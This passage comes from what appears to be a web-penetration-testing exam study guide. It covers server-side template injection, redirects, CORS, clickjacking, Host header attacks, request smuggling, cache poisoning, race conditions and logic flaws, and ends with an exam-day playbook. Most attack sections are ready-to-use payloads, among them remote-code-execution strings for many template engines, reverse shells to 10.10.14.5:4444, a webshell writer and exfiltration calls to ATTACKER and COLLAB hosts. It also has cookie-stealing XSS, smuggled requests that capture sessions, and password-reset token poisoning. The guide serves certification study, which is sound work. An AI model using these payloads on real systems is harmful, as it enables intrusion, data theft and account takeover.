<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.14.5/4444 0>&1")}

Velocity (Java)

## Detection: Velocity uses #set directives, not ${} evaluation of arithmetic
#set($x=7*7)$x
## Full RCE with output capture
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
## Blind variant (no output needed)
#set($e="")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl https://COLLAB")

Smarty (PHP)

{* Detection *}
{$smarty.version}
{7*7}
{* Smarty < 3.1.44 and any install with the PHP tag enabled *}
{php}system('id');{/php}
{* Static-method gadget: write a webshell to disk *}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['c']); ?>",self::clearConfig())}
{* Older Smarty direct call *}
{system('id')}
{$smarty.template_object->smarty->_current_file}

ERB (Ruby / Rails)

<%# Detection %>
<%= 7*7 %>
<%# RCE — three interchangeable forms %>
<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').readlines() %>
<%= require 'open3'; Open3.capture2('id')[0] %>
<%# File read %>
<%= File.open('/etc/passwd').read %>
<%# Reverse shell %>
<%= system("bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'") %>
# Ruby string interpolation (ERB not required — e.g. in a Slim/Haml or a plain format string)
#{7*7}
#{`id`}
#{system('id')}
#{File.read('/etc/passwd')}

Handlebars (Node.js)

{{! Detection: {{7*7}} does NOT evaluate in Handlebars (no expression support).
    Look instead for #with / #each acceptance and a "Missing helper" error. }}
{{#with "s" as |string|}}{{/with}}
{{! RCE: reach require via the constructor chain inside a #with block }}
{{#with "s" as |string|}}
  {{#with split as |conslist|}}
    {{this.pop}}
    {{this.push (lookup string.sub "constructor")}}
    {{this.pop}}
    {{#with string.split as |codelist|}}
      {{this.pop}}
      {{this.push "return require('child_process').execSync('id').toString();"}}
      {{this.pop}}
      {{#each conslist}}
        {{#with (string.sub.apply 0 codelist)}}
          {{this}}
        {{/with}}
      {{/each}}
    {{/with}}
  {{/with}}
{{/with}}
{{! Other Node engines are far easier — test which one you actually have: }}
{{! Nunjucks (Jinja-like, very common): }}
{{ range.constructor("return global.process.mainModule.require('child_process').execSync('id')")() }}
{{! Pug/Jade: }}
#{ global.process.mainModule.require('child_process').execSync('id') }
{{! EJS: }}
<%= global.process.mainModule.require('child_process').execSync('id') %>
<%- global.process.mainModule.require('child_process').execSync('id') %>
{{! EJS options-injection RCE (no template control needed): }}
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');s
{{! Lodash / underscore templates: }}
<%= global.process.mainModule.require('child_process').execSync('id') %>

Thymeleaf (Java / Spring)

<!-- Detection: Thymeleaf evaluates Spring EL inside ${} in expression contexts -->
${7*7}
${T(java.lang.System).getenv()}
<!-- RCE via SpEL type reference -->
${T(java.lang.Runtime).getRuntime().exec('id')}
${T(java.lang.Runtime).getRuntime().exec('curl https://COLLAB')}
<!-- Expression preprocessing (__...__) — works where ${} alone is not evaluated.
     Classic Thymeleaf SSTI in a view-name / fragment parameter. -->
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
<!-- Reverse shell (quote the whole command for the shell) -->
${T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"})}
<!-- Generic Spring EL (also applies to Spring Expression injection outside Thymeleaf) -->
${T(java.lang.Runtime).getRuntime().exec('id')}
#{T(java.lang.Runtime).getRuntime().exec('id')}
${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

8.6.4 Blind SSTI

No output rendered? Prove execution out-of-band, then exfiltrate.

{{ lipsum.__globals__['os'].popen('curl https://COLLAB/$(id|base64 -w0)').read() }}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("nslookup COLLAB")}
{{ ['nslookup COLLAB']|filter('system') }}
<%= system("nslookup COLLAB") %>
${T(java.lang.Runtime).getRuntime().exec('nslookup COLLAB')}
# Time-based fallback when even DNS is blocked
{{ lipsum.__globals__['os'].popen('sleep 10').read() }}

8.6.5 Automation

# tplmap — detects the engine and drops a shell
python3 tplmap.py -u 'https://target/page?name=X' --os-shell
python3 tplmap.py -u 'https://target/page' -d 'name=X' --os-cmd 'id'
# SSTImap — actively maintained successor
python3 sstimap.py -u 'https://target/page?name=X' --os-shell

Exam tips

  • Try first: the polyglot ${{<%[%'"}}%\. If it 500s or renders oddly, follow with {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, {7*7}. Then {{7*'7'}} to separate Jinja2 (7777777) from Twig (49).
  • Biggest time sink: pasting the Jinja2 subclass-index payload (__subclasses__()[396]) from a blog. The index differs by Python version and imports — never guess it; either use lipsum.__globals__ or enumerate the index with the {% for %} loop above.
  • Second: mistaking client-side AngularJS {{7*7}} for SSTI. Always check the raw response body, not the rendered DOM.
  • Third: not checking whether the engine is sandboxed. Django templates and Jinja2's SandboxedEnvironment will evaluate {{7*7}} but block attribute access — do not conclude "no SSTI"; report it as template injection with limited impact and move on.
  • What proves it: id output rendered in the response, or {{ config }} dumping SECRET_KEY for Flask. For blind, a Collaborator hit carrying base64 id output.
  • Chain it: SSTI in Flask that yields SECRET_KEY lets you forge session cookies (flask-unsign --sign) — often a faster route to admin than a shell.

8.7 Redirects, CORS, Clickjacking, Host Header, Smuggling & Cache Poisoning

Six shorter classes that appear as single exam questions or as the pivot that makes a bigger finding exploitable.

8.7.1 Open Redirect

The app sends the user to a URL taken from a parameter. On its own it is low severity; as a component it defeats OAuth redirect_uri checks, SSRF allowlists, CSP script-src 'self', and SSO flows.

# Parameter names to look for
?url=  ?next=  ?redirect=  ?redirect_uri=  ?redirect_url=  ?return=  ?returnUrl=
?return_to=  ?continue=  ?dest=  ?destination=  ?go=  ?goto=  ?target=  ?rurl=
?forward=  ?callback=  ?checkout_url=  ?domain=  ?out=  ?view=  ?image_url=  ?path=
# Detection: substitute your host and watch for a 30x with your host in Location:
/login?next=https://ATTACKER
# Confirm in the raw response
curl -sI 'https://target/login?next=https://ATTACKER' | grep -i ^location
# Bypass ladder when the value is validated
//ATTACKER                        # protocol-relative; browsers treat as absolute
//ATTACKER/%2f..
https:/\ATTACKER                  # backslash mix; many parsers normalise
https:\\ATTACKER
/\/ATTACKER
/%09/ATTACKER                     # tab
//ATTACKER%00.target.com
https://target.com@ATTACKER       # userinfo trick — everything before @ is credentials
https://target.com%40ATTACKER
https://ATTACKER#target.com       # fragment makes the allowlist substring match
https://ATTACKER?x=target.com     # query makes it match
https://ATTACKER/target.com       # path makes it match
https://target.com.ATTACKER       # suffix attack on "starts with" checks
https://ATTACKERtarget.com        # prefix attack on "contains" checks
http://ATTACKER                   # scheme downgrade if only https is filtered
%68%74%74%70%3a%2f%2fATTACKER     # URL-encoded
%2f%2fATTACKER
https://%41%54%54%41%43%4b%45%52
javascript:alert(1)               # if the sink is a client-side location assignment
data:text/html,<script>alert(1)</script>
# CRLF injection in the redirect parameter -> response splitting / header injection
/redirect?url=%0d%0aSet-Cookie:%20session=attacker
/redirect?url=https://target%0d%0aX-Injected:%20yes

Impact framing that earns the finding: chain it. ?redirect_uri= in an OAuth flow leaks the code; open redirect on-origin defeats script-src 'self'; a redirect inside an SSRF allowlist reaches internal hosts.

8.7.2 CORS misconfiguration

CORS relaxes the same-origin policy. Misconfigured, it lets an attacker's origin read authenticated responses.

# Detection: send an Origin header and read what comes back
curl -s -I https://target/api/account -H 'Origin: https://evil.tld' | grep -i 'access-control'
# Vulnerable when BOTH of these appear:
#   Access-Control-Allow-Origin: https://evil.tld      (reflected, not a fixed allowlist)
#   Access-Control-Allow-Credentials: true
MisconfigurationTest Origin:Response ACAOExploitable
Arbitrary origin reflected + credentialshttps://evil.tldhttps://evil.tldYes
null origin allowed + credentialsnullnullYes (sandboxed iframe or data: generates null)
Suffix matchinghttps://eviltarget.comreflectedYes — register eviltarget.com
Prefix matchinghttps://target.com.evil.tldreflectedYes
Subdomain wildcard + XSS on a subdomainhttps://sub.target.comreflectedYes, via the subdomain XSS
Subdomain wildcard + HTTP subdomainhttp://sub.target.comreflectedYes, via MITM/ a takeover-able subdomain
ACAO: * with credentialsany*No — browsers reject * + credentials
ACAO: * without credentialsany*Only for unauthenticated data
Whitespace/regex flawhttps://target.com.evil.tld, https://target.comevil.tldreflectedYes
<!-- PoC: reflected-origin + credentials. Host on your server, victim visits it. -->
<script>
var req = new XMLHttpRequest();
req.onload = function(){
  // exfiltrate the authenticated response to the attacker
  fetch('https://ATTACKER/log?d='+encodeURIComponent(btoa(this.responseText)),{mode:'no-cors'});
};
req.open('GET','https://target/api/account',true);
req.withCredentials = true;   // sends the victim's cookies
req.send();
</script>
<!-- PoC for Origin: null — a sandboxed iframe has a null origin -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var r=new XMLHttpRequest();
r.onload=function(){location='https://ATTACKER/log?d='+btoa(this.responseText)};
r.open('GET','https://target/api/account',true);
r.withCredentials=true;
r.send();
</script>"></iframe>
# Automation
python3 CORScanner.py -u https://target -d
corsy -u https://target/api/

Note: Access-Control-Allow-Credentials: true is the linchpin. Without it, the attacker's JS gets an unauthenticated response — still a finding if the endpoint leaks data to anonymous users, but far weaker.

8.7.3 Clickjacking

The target is framed transparently over attacker UI; the victim's click lands on the target's control.

# Detection: the page is framable if BOTH are absent/weak
curl -sI https://target/account | grep -iE 'x-frame-options|content-security-policy'
# Safe:   X-Frame-Options: DENY | SAMEORIGIN
#         Content-Security-Policy: frame-ancestors 'none' | 'self'
# Vulnerable: neither header present, or XFO: ALLOW-FROM (ignored by modern browsers),
#             or the header set only on some routes.
<!-- PoC: set opacity to 0.1 while positioning, then 0.0001 for the real attack -->
<!DOCTYPE html>
<html><head><style>
  #decoy { position:absolute; top:0; left:0; z-index:1; width:100%; height:100%; }
  #target{ position:absolute; top:0; left:0; z-index:2; width:1000px; height:800px;
           opacity:0.1; border:none; }
  /* Tune top/left so the target's button sits exactly under the decoy button */
  #bait  { position:absolute; top:320px; left:60px; z-index:1;
           font-size:24px; padding:12px 24px; }
</style></head><body>
  <div id="decoy"><h1>You have won! Click to claim</h1>
    <button id="bait">Claim prize</button></div>
  <iframe id="target" src="https://target/account/delete"></iframe>
</body></html>
<!-- Drag-and-drop / multi-step variant: prefill a form via GET params, victim clicks submit -->
<iframe id="target" src="https://target/my-account?email=attacker@evil.tld"></iframe>
<!-- position the decoy over the "Update email" button -->
# Bypassing a JS frame-buster (when headers are absent but JS calls top.location=self.location)
<iframe sandbox="allow-forms allow-scripts" src="https://target/account"></iframe>
# sandbox without allow-top-navigation neutralises the frame-buster.

Clickjacking only matters where a single click causes a state change (delete account, change email, transfer, authorise an OAuth app, accept an invite). Report it against such a page, not the homepage.

8.7.4 Host header injection

The app builds absolute URLs (password-reset links, <script src>, redirects, cache keys) from the Host header or an X-Forwarded-Host.

# Detection 1: does the app reflect the Host into the body?
GET / HTTP/1.1
Host: COLLAB
# Detection 2: an override header when Host itself is validated by the vhost
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: COLLAB
X-Host: COLLAB
X-Forwarded-Server: COLLAB
X-HTTP-Host-Override: COLLAB
Forwarded: host=COLLAB
# Detection 3: duplicate Host — front end takes the first, app takes the second (or vice versa)
GET / HTTP/1.1
Host: target.com
Host: COLLAB
# Detection 4: absolute request line — the Host header is then often ignored by the proxy
GET https://target.com/ HTTP/1.1
Host: COLLAB
# Detection 5: port/whitespace/line-wrap tricks
Host: target.com:COLLAB
Host: target.com
 Host: COLLAB
Host: COLLAB
Host: target.com
# Exploitation: password-reset poisoning (the highest-value outcome)
POST /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: COLLAB
Content-Type: application/x-www-form-urlencoded

email=victim@target.com
# The reset email now links to https://COLLAB/reset?token=... — the victim clicks,
# your Collaborator logs the token, and you reset their password on the real site.
# Exploitation: web-cache poisoning via Host (see 8.7.6)
GET /static/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: ATTACKER
# If the response caches an absolute URL pointing at ATTACKER, every later visitor loads your JS.
# Exploitation: routing-based SSRF — the Host decides the internal upstream
Host: 192.168.0.1
Host: internal-admin
Host: localhost
# Watch for different response times/codes revealing internal hosts.

8.7.5 HTTP request smuggling

Front-end and back-end disagree on where one request ends and the next begins. The remainder of your request is prefixed onto the next user's request.

Setup in Burp Repeater (mandatory or nothing will work):

Repeater -> (Settings / options) -> UNCHECK "Update Content-Length"
Repeater -> UNCHECK "Normalize HTTP/1 line endings" if present
Ensure the connection is HTTP/1.1 (Request attributes -> HTTP/1)
Enable "Allow HTTP/1 line-ending normalization" OFF; body terminators must be exact CRLF.
Send the request TWICE in the same connection when testing the basic exploit.
VariantFront-end usesBack-end usesCause
CL.TEContent-LengthTransfer-EncodingFE ignores TE
TE.CLTransfer-EncodingContent-LengthBE ignores TE
TE.TETransfer-EncodingTransfer-EncodingOne side is tricked into ignoring an obfuscated TE
CL.0Content-Lengthtreats body as absentBE ignores CL on certain endpoints
H2.CL / H2.TEHTTP/2downgraded HTTP/1.1FE rewrites h2 → h1 trusting injected headers

CL.TE timing probe — a delay proves the back end is waiting for a terminating chunk:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

TE.CL timing probe — a delay proves the back end is waiting for more body bytes:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

CL.TE confirmation (send twice; the second request returns an error about method GPOST):

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

TE.CL confirmation (send twice; note Content-Length: 4 so the back end reads only 5c\r\n):

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


TE.TE obfuscation set — try each until one side stops parsing the header:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding:	chunked          (literal tab after the colon)
 Transfer-Encoding: chunked           (leading space on the header line)
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
Transfer-Encoding
 : chunked                            (line-folded header)
X-Ignore: X
Transfer-Encoding: chunked
Transfer-encoding: chunked            (case variation)

Exploitation patterns:

# 1) Capture another user's request (session theft) — CL.TE
POST / HTTP/1.1
Host: target.com
Content-Length: 330
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=YOUR_SESSION

csrf=YOUR_CSRF&postId=3&name=a&email=a@a.tld&website=&comment=
# The next victim's request is appended into the "comment" field and posted publicly,
# including their Cookie header. Read the comment to recover their session.
# 2) Bypass a front-end access control — smuggle a request to /admin
POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
Content-Length: 10

x=
# 3) Deliver reflected XSS to other users with no interaction (CL.TE)
POST / HTTP/1.1
Host: target.com
Content-Length: 200
Transfer-Encoding: chunked

0

GET /page HTTP/1.1
User-Agent: "><script>fetch('https://ATTACKER/?c='+document.cookie)</script>
Content-Length: 5

x=1
# Automation / detection
# Burp extension: "HTTP Request Smuggler" -> right-click a request -> "Smuggle probe"
# Standalone:
python3 smuggler.py -u https://target.com

Impact note: smuggling affects other users, so on a live target it is disruptive. On an exam target, use it deliberately and record the exact request pair that demonstrated it.

8.7.6 Web cache poisoning

An unkeyed input (a header the cache ignores when building its key) influences a cached response. Poison once, every later visitor is served your payload.

# 1) Confirm the response is cached and find the cache key
GET /?cb=random123 HTTP/1.1
Host: target.com
# Look for:  X-Cache: hit|miss   Age:   CF-Cache-Status:   Cache-Control:   Vary:
# Always include a unique cache buster (?cb=) while testing so you poison only yourself.
# 2) Find unkeyed headers with Param Miner
# Burp -> right-click -> "Guess headers" (Param Miner). It reports e.g.
#   "Identified unkeyed input: X-Forwarded-Host"
# 3) Test each candidate: does the header change the response body?
GET /?cb=1 HTTP/1.1
Host: target.com
X-Forwarded-Host: COLLAB
X-Forwarded-Scheme: http
X-Forwarded-Proto: http
X-Forwarded-Port: 1337
X-Host: COLLAB
X-Original-URL: /admin
X-Forwarded-Server: COLLAB
X-Forwarded-For: 127.0.0.1
# 4) Classic poisoning: an absolute script URL built from X-Forwarded-Host
GET /?cb=1 HTTP/1.1
Host: target.com
X-Forwarded-Host: ATTACKER
# Response body now contains: <script src="https://ATTACKER/resources/js/tracking.js">
# Host that path on your server with:  alert(document.cookie)
# 5) Remove the cache buster and send once -> the poisoned response is now cached for everyone.
# Redirect poisoning via X-Forwarded-Scheme (forces a cached 302 to your host)
GET /?cb=1 HTTP/1.1
Host: target.com
X-Forwarded-Scheme: nothttps
X-Forwarded-Host: ATTACKER
# Unkeyed QUERY inputs (cache key excludes some params) and parameter cloaking
GET /?excluded_param=<script>alert(1)</script>&cb=1
GET /?utm_content=x&callback=alert(1)
GET /?cb=1&utm_source=a;callback=alert(1)      # ';' splits differently in cache vs app
# Fat GET: cache keys on the URL, app reads the body
GET /?cb=1 HTTP/1.1
Content-Length: 12

param=value
# Cache deception (the mirror image): trick the cache into storing a private page
GET /my-account/nonexistent.css HTTP/1.1      # app serves the account page, cache stores it by .css
GET /my-account.css
GET /my-account%0a.css
GET /my-account;x.js
GET /my-account/%2e%2e/static/x.css
# Then fetch that URL unauthenticated and read the victim's data.

Exam tips

  • Try first: for redirects, ?next=https://COLLAB on every redirect parameter. For CORS, one curl -I -H 'Origin: https://evil.tld'. For clickjacking, one curl -I for X-Frame-Options/frame-ancestors. These are ten-second checks — do all three during recon, not later.
  • Biggest time sink: HTTP request smuggling. It is the highest-effort, lowest-hit-rate item here and it is extremely sensitive to Burp settings. Run the two timing probes once each with "Update Content-Length" disabled; if neither delays, move on immediately.
  • Second: reporting CORS reflection without Access-Control-Allow-Credentials: true, or clickjacking on a page with no state-changing action. Neither is a finding.
  • Third: poisoning a shared cache without a cache buster and then being unable to reproduce cleanly. Always ?cb=<random> until the final shot.
  • What proves it: a Location: header pointing at your host (redirect); the victim's authenticated JSON delivered to your listener (CORS); a framed screenshot with the decoy over the real control (clickjacking); a Collaborator hit carrying a live reset token (Host header); the GPOST/smuggled-response pair in two consecutive Repeater sends (smuggling); X-Cache: hit on a clean request returning your payload (cache poisoning).

8.8 Race Conditions & Business Logic Flaws

Business logic bugs have no signature — no scanner finds them. They come from reading what the application intends and asking what happens when you do something it did not anticipate. Race conditions are the timing subset: a check and the action it guards are not atomic, so N requests in flight simultaneously all pass the check.

8.8.1 What to look for

PatternQuestion to askTypical flaw
Discount / coupon / gift cardCan I apply it twice? In parallel?Limit-overrun race
Account balance / credits / pointsCan I spend the same balance twice?Limit-overrun race
Withdraw / transferTwo transfers at once from one balance?TOCTOU
Rate limits, OTP attempts, login lockoutDo parallel requests share one counter?Rate-limit bypass
Voting, likes, referrals, invitesOne per user — enforced how?Limit overrun
Multi-step checkoutCan I change price/quantity after validation?Step skipping
Registration + email verificationCan I use the account before verifying?Step skipping
Password resetDoes the token expire / bind to the user?Logic flaw
2FACan I skip the second step, or brute-force it?Step skipping
Quantity / price / currency fieldsNegative? Zero? Float? Huge? Different currency?Value tampering
Cart / order totalsIs the total recomputed server-side?Client-side trust
File / resource quotasParallel uploads past the quota?Limit overrun
"Single-use" linksRedeem twice simultaneously?Limit overrun
State machinesCan I reach state C without B?Step skipping
# Value-tampering probes — send each against price/quantity/amount fields
quantity=-1          # negative: may credit the account
quantity=0
quantity=99999999    # integer overflow / free-shipping thresholds
price=0
price=0.01
price=-100
amount=1e10          # scientific notation, parsed as float by some backends
amount=0.000001      # rounds to 0 on debit but >0 on credit
currency=XYZ         # unhandled currency -> conversion bug
currency=BTC
# Also: duplicate parameters (price=100&price=1), arrays (price[]=1), type confusion
# (price="1" vs price=1 vs price=true), and unicode digits.
# Step-skipping probes
# 1) Complete the flow once with Burp recording it.
# 2) Replay ONLY the final request, with a fresh session, omitting the intermediate steps.
# 3) Replay the final request with values changed AFTER the validation step ran.
POST /cart/checkout          # without ever calling /cart/validate
POST /order/confirm          # with a price captured from an earlier, cheaper request

8.8.2 Race condition methodology

1. Find the collision: a request whose effect depends on state it also reads.
   ("apply coupon", "redeem gift card", "withdraw", "claim", "vote", "purchase")
2. Establish the single-request baseline: what does one request do, and what
   does a SECOND sequential request do? (If the second already succeeds, it is
   not a race — it is a plain logic flaw. Report that instead; it is easier.)
3. Send N copies SIMULTANEOUSLY.
4. Check the state: balance, coupon usage count, item count, vote count.
5. Success signature: N effects for 1 permitted use, or a negative balance.

Burp Repeater — parallel send (tab group):

1. Send the target request to Repeater.
2. Duplicate the tab 20 times (Ctrl-R on the request, or right-click -> Duplicate tab x20).
3. Select all the tabs -> right-click -> "Add tabs to group" -> name it.
4. At the top of the group, change the send mode dropdown from
   "Send group in sequence (single connection)" to
   "Send group in parallel"                 <-- this is the single-packet attack
5. Click "Send group (parallel)".
6. Inspect each tab's response, then check the application state.

Burp's "Send group in parallel" implements the single-packet attack over HTTP/2: all requests are placed in one TCP packet, eliminating network jitter and giving a sub-millisecond spread. For HTTP/1.1 it uses last-byte synchronisation. Use parallel mode for any limit-overrun test; sequential mode only for connection-state tests.

Turbo Intruder — single-packet attack:

# Right-click request -> Extensions -> Turbo Intruder -> Send to turbo intruder
# Paste this script, set the payload count, click Attack.
def queueRequests(target, wordlists):
    # engine=Engine.BURP2 + concurrentConnections=1 enables the single-packet attack over HTTP/2
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    # Queue 30 identical copies, all gated so none is sent yet
    for i in range(30):
        engine.queue(target.req, gate='race1')

    # Release every queued request at the same instant
    engine.openGate('race1')

def handleResponse(req, interesting):
    # Show every response so you can count how many succeeded
    table.add(req)
# HTTP/1.1 variant (last-byte sync) when the target does not speak HTTP/2
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=1,
                           pipeline=False)
    for i in range(30):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
# Multi-endpoint race (e.g. change email AND confirm it at the same instant)
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=2, engine=Engine.BURP2)
    engine.queue(request_a, gate='r')      # paste the raw request text into request_a
    engine.queue(request_b, gate='r')
    engine.openGate('r')

Preventing false negatives — before concluding "no race":

# 1) Session-locking: many frameworks serialise requests within one session.
#    Test with multiple sessions, or against an endpoint that does not touch the session.
# 2) Rate limiting / WAF may drop bursts. Watch for 429s.
# 3) Connection warming: send a few harmless requests on the connection first so
#    TLS/TCP setup is not part of the timed window (Turbo Intruder does this if you
#    queue a GET / before the gated batch).
# 4) Check the STATE, not the responses. All 30 may return 200 while only one took effect,
#    or all 30 may return an error while the balance still went negative.

8.8.3 Classic race targets with concrete tests

# Gift card / coupon limit overrun — 20 parallel copies of the redeem request
POST /cart/coupon HTTP/2
Host: target.com
Cookie: session=...
Content-Type: application/x-www-form-urlencoded

csrf=TOKEN&coupon=SAVE20
# Success: the order total drops by 20% x N, or the coupon usage counter shows 1.
# Withdraw more than the balance — parallel transfers from one account
POST /api/transfer HTTP/2
Content-Type: application/json

{"to":"attacker","amount":100}
# Success: balance goes negative, or N x 100 is credited.
# Rate-limit / OTP bypass — parallel guesses share one attempt counter
POST /login/2fa HTTP/2
Content-Type: application/x-www-form-urlencoded

code=0000
# Queue 100 codes in Turbo Intruder with gate='r'; the lockout counter is checked once.
# Email-change confirmation race: register with a permitted domain, then switch the
# pending email to a privileged one in the same instant the token is validated.
POST /my-account/change-email  ->  {"email":"me@allowed.tld"}   (request A)
POST /my-account/change-email  ->  {"email":"admin@target.com"} (request B)
# Fire A and B in parallel, then use the single confirmation token.
# Single-use link double-redeem
POST /invite/accept?token=ONE_TIME_TOKEN      x20 in parallel
POST /password/reset?token=ONE_TIME_TOKEN     x20 in parallel

8.8.4 Non-race business logic checklist

[ ] Can I buy with a negative quantity? A zero price? A different currency?
[ ] Is the total recalculated server-side, or taken from the request?
[ ] Can I change the price/product AFTER the payment authorisation step?
[ ] Can I reuse a "used" coupon by changing its case, adding whitespace, or re-sending?
[ ] Can I register with an email I do not own and still act before verification?
[ ] Can I reset another user's password by supplying their id/email at the final step?
[ ] Can I skip 2FA by going straight to the post-2FA endpoint with a half-authenticated cookie?
[ ] Does the password-reset token expire, rotate, or bind to one account?
[ ] Can I set my own role/plan/quota at registration? (see mass assignment, 8.5.7)
[ ] Does an "unlimited trial" reset if I change my email, or delete and re-add a card?
[ ] Can I refund more than I paid, or refund twice?
[ ] Does cancelling an order after shipping still refund?
[ ] Are limits enforced per request or per account? Per day or per calendar day (timezone)?
[ ] Does the app trust any client-supplied timestamp, total, tax, shipping or discount?
[ ] Can a workflow run backwards (approved -> pending -> approved with new data)?

Exam tips

  • Try first: before any parallel machinery, send the request twice, sequentially. A large share of "race condition" targets are plain limit-overrun logic flaws that need no timing at all, and a sequential PoC is far easier to reproduce and report.
  • Biggest time sink: firing parallel requests and judging success by response codes. Judge by application state — reload the balance/cart/counter page after every attempt.
  • Second: fighting session-locking. If all your parallel requests serialise perfectly, the framework is locking the session; retry across several sessions or on a session-free endpoint before concluding there is no bug.
  • Use HTTP/2 where available — Burp's parallel group send and Turbo Intruder's Engine.BURP2 give a far tighter window than HTTP/1.1.
  • What proves it: a before/after of the state that cannot be produced by the intended flow — a coupon applied 12 times with a usage count of 1, a negative balance, 30 successful OTP attempts against a 3-attempt limit — plus the request set that produced it.
  • Logic flaws are scored on impact, not cleverness. Convert every one into money, data, or privilege before writing it up.

9. Exam Day Playbook

9.1 Before you start the clock

CheckWhy it matters
INE account name is exactly as you want it on the certMust be changed by support before the exam
Chrome, extensions disabledINE's explicit instruction; extensions break the lab UI and can corrupt proxied traffic
Burp Suite open, CA cert installed in the exam browserYou will lose 20 minutes doing this under pressure
Burp project saved to disk, not temporaryAn 18-hour exam will outlive a crash
Foxy Proxy / proxy switching workingNeeded constantly
/etc/hosts ready to editLabs use hostnames like demo.ine.local; virtual-host routing will not work by IP alone
A notes file open with a heading per questionSee §9.4
Read the Lab Guidelines PDF INE links from the path pageIt states the rules the graders apply
# Sanity checks on your attack box before the clock starts
which sqlmap gobuster ffuf whatweb wafw00f nmap curl jq python3 nc
ls /usr/share/wordlists/ /usr/share/seclists/ 2>/dev/null
searchsploit -u                     # refresh the exploit DB

9.2 Time budget for 18 hours / 45 questions

That is 24 minutes per question on average, but the distribution is not flat. Plan it in blocks:

BlockHoursWhat you do
Recon sweep0:00 – 1:30Enumerate every host/app in scope. Fingerprint, dirbust, find APIs. Do not exploit yet. Build a target inventory.
Easy harvest1:30 – 5:00Answer every question you can already answer from recon output plus the obvious low-effort findings. Bank the points.
Main exploitation5:00 – 13:00Work the API, auth and injection questions properly. Take a real break at the halfway mark.
Hard / blocked13:00 – 16:00The questions you skipped. Come back with the WAF-bypass and OOB techniques.
Review & sweep16:00 – 18:00Re-read every question, check answer formats, re-verify anything you guessed.

Rules that save the exam:

  • 20-minute rule. If a question has had 20 focused minutes with no progress, write down exactly where you stopped and move on. Come back in the 13:00 block.
  • Bank answers as you get them. Submit/record immediately. Do not save answers for the end.
  • Sleep or nap if the clock allows it. 18 hours is long enough that a tired mistake costs more than the lost hour.
  • 70% means you can lose 13 questions. Do not blow three hours on one.

9.3 Triage order per target

Fingerprint  ->  Is there an API?  ->  Is there authentication?  ->  Is there a parameter?
     |                 |                        |                          |
   §1 recon          §5 API                   §2 auth             §3/§4 injection, §8 core
                                                                            |
                                              blocked? -> §6 filter/WAF bypass
                                              server-side surface? -> §7 SSRF / deserialization

Practical ordering inside a single web app:

  1. Unauthenticated surface first — anything reachable without a login is where the entry point usually is.
  2. Get a session — register, or bypass auth (§2). Almost everything else needs one.
  3. Re-crawl authenticated — the attack surface typically triples.
  4. Enumerate the API (§5) — Swagger/WSDL/GraphQL introspection hands you the whole surface for free. This is 25% of the marks.
  5. Test every parameter using the priority table in §0.6.
  6. Escalate — horizontal (another user) then vertical (admin), then to the OS.

9.4 Note-taking template (copy this per question)

### Q<n>: <question text verbatim>
Target:      http://...
Answer fmt:  <flag / hash / username / version / file contents>
Surface:     <endpoint + parameter>
Technique:   <§ reference>
Payload:
    <exact payload that worked>
Evidence:
    <the response snippet that contains the answer>
Answer:      <value>            STATUS: [ ] submitted

Record the exact payload that worked, not a paraphrase. If a later question builds on the same target, you will reuse it.

9.5 Answer-format discipline

Auto-graded exams are unforgiving about format. Before submitting:

  • Copy/paste the value, never retype it — 0 vs O and 1 vs l fail silently.
  • Check for trailing whitespace and newlines from curl output.
  • If the question asks for a flag, submit the flag including any FLAG{...} wrapper unless told otherwise; if it asks for "the value of", submit only the value.
  • Hashes: keep the original case. MD5/SHA are usually expected lowercase but copy what you found.
  • If a question asks "what is the version", give the exact string from the banner (e.g. NuSOAP/0.9.5), not a rounded number.

9.6 Stuck protocol

Work down this list — each step is a different reason a working attack looks broken:

#CheckFix
1Is the payload reaching the app?Check it in Burp's request, post-encoding. Burp re-encodes; use Repeater raw.
2Is something stripping it?Compare the reflected/echoed value with what you sent → §6 filter bypass
3Is a WAF in the way?wafw00f, look for 403/406/501 on payload but 200 on benign → §6.11
